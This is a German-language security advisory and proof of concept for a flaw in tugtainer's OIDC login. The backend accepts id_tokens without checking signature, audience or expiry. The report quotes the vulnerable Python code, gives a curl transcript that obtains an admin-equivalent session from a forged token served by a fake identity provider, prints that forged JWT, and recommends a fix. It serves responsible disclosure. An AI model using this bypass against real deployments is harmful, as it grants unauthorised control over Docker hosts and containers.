
PoC — OIDC id_token wird in Tugtainer ohne Signatur-/Audience-/Ablaufprüfung akzeptiert (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
CVE-Status: beantragt, Zuweisung ausstehend. Dieser Fund wird als GHSA-crjc-6vc7-xrfh veröffentlicht. Bei der CVE-Zuweisung wird dieses Repository in
CVE-YYYY-NNNNN-tugtainer-PoCumbenannt und dieses Banner durch den CVE-Link ersetzt.
| Forscher | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (Hoch) |
| Schwachstelle | CWE-347 |
Die unsachgemäße Verifikation der kryptografischen Signatur im OIDC-Authentifizierungsanbieter in backend/modules/auth/providers/auth_oidc_provider.py in Quenary/tugtainer (Commit 3138226) ermöglicht es einem Angreifer, der die Token-Exchange-Antwort zwischen dem tugtainer-Backend und dem konfigurierten OIDC-Anbieter kontrollieren oder abfangen kann (z. B. eine Netzwerk-MITM-Position, ein kompromittierter/bösartiger Identity Provider oder eine DNS-/TLS-Terminierungs-Kompromittierung auf diesem Pfad), ein beliebiges id_token zu fälschen und eine vollständig authentifizierte, admin-äquivalente tugtainer-Sitzung für jede Identität über GET /api/auth/oidc/callback zu erhalten.
Quenary/tugtainer — selbstgehostetes Docker-Container-Auto-Update-Tool mit Web-UI, Agent-/Backend-Architektur.
Commit 31382268bf16df32f33316fe4d601ad1635871d4 (Standard-Branch des Repos, geklont am 2026-08-05).
8.1 (Hoch) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (nicht AC:L): Die Ausnutzung ist keine einfache unauthentifizierte Netzwerkanfrage. Sie erfordert, dass der Angreifer kontrolliert, was der Token-Endpunkt während des Server-zu-Server-Code-Austauschs an das Backend zurückgibt — realistischerweise eine MITM-Position zwischen dem tugtainer-Backend und dem echten IdP oder ein kompromittierter/bösartiger IdP, dem das Backend vertraut. Dies ist eine echte, nicht triviale Voraussetzung, daher wird AC:H statt AC:L verwendet.UI:N: Sobald der Angreifer diese Netzwerkposition hat, ist keine Interaktion des Opfers erforderlich — der Angreifer kann den gesamten Login-Ablauf selbst durchführen (bestätigt im PoC unten, end-to-end mit curl durchgeführt).C:H/I:H/A:H: Die resultierende Sitzung ist eine vollständige, uneingeschränkte tugtainer-Sitzung (es existiert keine RBAC/Allowlist für OIDC-Identitäten — siehe Details) mit Zugriff auf jeden Container-/Host-Management-Endpunkt: Auflisten/Lesen aller Docker-Hosts und -Container, Starten/Stoppen/Killen/Entfernen von Containern, Pull von Images und (falls ALLOW_HOOKS/ALLOW_EXEC auf einem Host aktiviert sind) Ausführen von Befehlen innerhalb von Containern.S:U: Die Auswirkung bleibt innerhalb der eigenen Autorisierungsgrenze von tugtainer (der Angreifer wird zu einem authentifizierten tugtainer-Benutzer); sie wird nicht als Scope-Änderung in eine separat autorisierte Komponente betrachtet.backend/modules/auth/providers/auth_oidc_provider.py, Methode _exchange_oidc_code (Zeilen 267–331), insbesondere Zeilen 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) base64-dekodiert die JWT-Payload ohne Prüfung der Signatur, exp/iat oder aud/iss — das genaue Gegenteil dessen, was OpenID Connect Core 1.0 §3.1.3.7 von einem RP verlangt, bevor er einem ID Token vertraut. Der Kommentar des Entwicklers selbst („not recommended for production") bestätigt, dass dies eine bekannte Abkürzung war und keine beabsichtigte Designentscheidung.
Die resultierenden Claims fließen direkt in die Sitzungserstellung ein, ohne zusätzliche Prüfungen:
callback() (Zeile 137) ruft _exchange_oidc_code() und dann _create_oidc_user_session() (Zeile 333) auf, was email/sub/preferred_username (Zeilen 341–345) direkt aus den unverifizierten Claims entnimmt und echte, signierte tugtainer access_token/refresh_token JWT-Cookies (HttpOnly, SameSite=strict) über _set_cookies() erzeugt.grep nach Allowlist-/Allowed-Email-Mustern in backend/ liefert nichts) — welcher sub/email auch immer in den (unverifizierten) Claims steht, wird zur Identität der neuen Sitzung, mit demselben Zugriff wie jeder andere angemeldete Benutzer (tugtainer hat eine einzige flache Vertrauensstufe, kein per-Benutzer-RBAC).aud und iss nie geprüft werden, wird ein ID Token, das für einen völlig unabhängigen Client desselben IdP ausgestellt wurde — oder, wie unten demonstriert, eines mit einer ungültigen/nicht übereinstimmenden Signatur und einem bereits abgelaufenen exp — genauso bereitwillig akzeptiert wie ein legitimes.Dies ist nur erreichbar, wenn OIDC_ENABLED=true (ein Admin-Opt-in), sodass es die Standard-/Nur-Passwort-Bereitstellung nicht betrifft.
Dynamisch verifiziert gegen die echte Anwendung, die aus diesem Commit gebaut wurde (docker build -f Dockerfile.app), ausgeführt über einfaches docker run (nicht das veröffentlichte Image) mit:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Ein minimaler Fake-OIDC-Provider (evidence/fake_idp.py, in diesem Engagement-Ordner aufbewahrt) liefert ein gültiges Discovery-Dokument und gibt bei POST /token immer ein id_token zurück, das in jeder Hinsicht absichtlich ungültig ist, die ein RP prüfen sollte:
aud = "totally-wrong-client-id-not-tugtainers" (stimmt nicht mit OIDC_CLIENT_ID überein)exp = 1 Stunde in der Vergangenheit (bereits abgelaufen)Schritte (echte Befehle, echte Ausgabe, beide Container lokal ausgeführt):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Dekodierte access_token-Payload (wie von tugtainers eigenem JWT-Signer für diesen „Benutzer" erzeugt):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Sitzung dann live gegen geschützte Endpunkte bestätigt:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
Das eigene Log des Fake-IdP bestätigt das exakte gefälschte Token, das er zurückgab:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
PoC-Helfer: evidence/fake_idp.py (zusammen mit diesem Bericht aufbewahrt).
Es sind keine Screenshots enthalten — dies ist ein Server-zu-Server-API-Bypass ohne Browser-/UI-Komponente zum Erfassen; das obige curl-Transkript ist der echte, unveränderte Befehls-/Antwortnachweis.
Jeder Angreifer, der die Antwort des OIDC-Token-Exchange-Aufrufs beeinflussen kann, den das tugtainer-Backend durchführt (MITM auf diesem Netzwerkpfad, ein bösartiger/kompromittierter IdP oder eine DNS-/TLS-Terminierungs-Kompromittierung zwischen Backend und IdP), kann eine vollständig gültige, uneingeschränkte tugtainer-Sitzung als beliebige Identität erzeugen — ohne die Anmeldedaten eines echten Benutzers zu kennen und ohne Interaktion eines legitimen Benutzers. Da tugtainer kein per-Benutzer-RBAC hat, verfügt diese Sitzung über vollen Anwendungszugriff: Auflisten aller registrierten Docker-Hosts und -Container, Starten/Stoppen/Killen/Entfernen von Containern, Pull/Tag von Images und (wo ALLOW_HOOKS/Agent ALLOW_EXEC aktiviert sind) Ausführen von Befehlen innerhalb von Containern.
aud/iss/exp-Prüfungen)Ersetzen Sie in _exchange_oidc_code jwt.get_unverified_claims(token["id_token"]) durch eine verifizierende Dekodierung: Rufen Sie die jwks_uri des IdP aus dem Discovery-Dokument ab, ermitteln Sie den Signaturschlüssel über kid und rufen Sie jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) auf (python-jose unterstützt all dies). Dies erzwingt Signatur, exp/iat/nbf, aud und iss gemäß der OIDC-Core-Spezifikation. Erwägen Sie außerdem, eine optionale Allowlist akzeptierter email/sub-Werte für Bereitstellungen hinzuzufügen, die einen IdP mit anderen Anwendungen teilen.
Dostxodjayev Abdullox (GitHub: squeeze440)
GitHub Security Advisory / Private Vulnerability Reporting auf Quenary/tugtainer (PVR bestätigt aktiviert).